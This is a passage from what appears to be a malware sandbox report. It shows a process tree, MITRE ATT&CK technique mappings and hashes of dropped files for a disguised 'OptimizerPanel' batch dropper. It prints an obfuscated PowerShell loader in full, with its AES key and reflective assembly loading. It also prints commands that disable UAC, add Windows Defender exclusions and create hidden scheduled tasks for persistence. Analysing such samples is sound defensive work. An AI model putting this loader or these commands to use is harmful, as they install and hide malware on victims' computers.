'')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizerPanel.bat" "
        7⤵
        
        PID:1408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QF/IbnHAtLlzUJk1kze8d2i8Crb+jvbjcpGlNYeSuX0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cyrcYyxDUGFJ8qUMd/YrZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Jjtyc=New-Object System.IO.MemoryStream(,$param_var); $GAxUU=New-Object System.IO.MemoryStream; $wGMUX=New-Object System.IO.Compression.GZipStream($Jjtyc, [IO.Compression.CompressionMode]::Decompress); $wGMUX.CopyTo($GAxUU); $wGMUX.Dispose(); $Jjtyc.Dispose(); $GAxUU.Dispose(); $GAxUU.ToArray();}function execute_function($param_var,$param2_var){ $Zanuw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RWRGi=$Zanuw.EntryPoint; $RWRGi.Invoke($null, $param2_var);}$segfn = 'C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizerPanel.bat';$host.UI.RawUI.WindowTitle = $segfn;$dYDZr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($segfn).Split([Environment]::NewLine);foreach ($kzQvK in $dYDZr) { if ($kzQvK.StartsWith('YqYwHyyrQxIPqRztfwTn')) { $ERcOq=$kzQvK.Substring(20); break; }}$payloads_var=[string[]]$ERcOq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        8⤵
        
        PID:3840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:1952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_264_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3228
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.vbs"
        9⤵
        Checks computer location settings
        
        PID:4992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.bat" "
        10⤵
        
        PID:3020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QF/IbnHAtLlzUJk1kze8d2i8Crb+jvbjcpGlNYeSuX0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cyrcYyxDUGFJ8qUMd/YrZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Jjtyc=New-Object System.IO.MemoryStream(,$param_var); $GAxUU=New-Object System.IO.MemoryStream; $wGMUX=New-Object System.IO.Compression.GZipStream($Jjtyc, [IO.Compression.CompressionMode]::Decompress); $wGMUX.CopyTo($GAxUU); $wGMUX.Dispose(); $Jjtyc.Dispose(); $GAxUU.Dispose(); $GAxUU.ToArray();}function execute_function($param_var,$param2_var){ $Zanuw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RWRGi=$Zanuw.EntryPoint; $RWRGi.Invoke($null, $param2_var);}$segfn = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_264.bat';$host.UI.RawUI.WindowTitle = $segfn;$dYDZr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($segfn).Split([Environment]::NewLine);foreach ($kzQvK in $dYDZr) { if ($kzQvK.StartsWith('YqYwHyyrQxIPqRztfwTn')) { $ERcOq=$kzQvK.Substring(20); break; }}$payloads_var=[string[]]$ERcOq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        11⤵
        
        PID:404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        11⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:3408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat" "
        12⤵
        
        PID:4868
        
        C:\Windows\system32\reg.exe
        
        Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
        13⤵
        UAC bypass
        
        PID:2528
        
        C:\Windows\system32\mode.com
        
        mode 145,30
        13⤵
        
        PID:232
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM /F
        13⤵
        Modifies registry key
        
        PID:4492
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
        13⤵
        
        PID:832
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
        13⤵
        Modifies registry key
        
        PID:224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4776
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
        12⤵
        Creates scheduled task(s)
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\XClient.exe
        
        "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
        7⤵
        Executes dropped EXE
        
        PID:1676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1364
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
        7⤵
        Creates scheduled task(s)
        
        PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 9cb9f2c3f1d80c4f43f090d526b1792e0d054930df502287e1eecc8e52e0ec88
MD5 e3dc6e3e94377476f5c531316133e7c3
SHA1 31cfedeb55d5e0640a24eabfff14caec413c4783
SHA512 0b888e28a871bc3a93502c10c57b75ae9193a1b2b845159eca069ed87d0bd4d854f5c776f258c1295a29db37fba3b72433ba31663b3b177011a5c8cf5ecd112f
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

Submit Download